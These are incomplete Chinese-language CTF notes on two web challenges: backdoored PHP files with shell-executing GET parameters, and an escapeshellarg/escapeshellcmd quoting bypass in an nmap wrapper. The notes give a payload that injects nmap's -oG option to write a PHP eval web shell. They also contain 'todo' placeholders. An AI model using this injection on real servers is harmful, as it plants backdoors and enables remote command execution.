[强网杯 2019]高明的黑客

进入网站,提示:

雁过留声,人过留名,此网站已被黑
我也是很佩服你们公司的开发,特地备份了网站源码到www.tar.gz以供大家观赏

下载www.tar.gz,解压后有3002个php文件,但里面get post的参数都是杂乱的,仔细观察php文件,发现大量的类似这样的成对出现的语句:

$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;

我们可以利用url/<php filename>?cXjHClMPs=cat /flag,来找到最终答案,可以利用脚本发现可用参数:


todo未完成

[BUUCTF 2018]Online Tool

打开网页,显示源代码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg()和escapeshellcmd()

escapeshellarg会在参数两边加入单引号,这样我们的参数就会被解释为字符串,所以我们需要自己在参数里面加入单引号,这样就可以跟escapeshellarg加入的单引号形成引号对,让我们的参数不被解释为字符串,输入url:

todo这里的-oG怎么想到的说明一下。

/?host=' <?php @eval($_POST["password"]);?> -oG shell.php '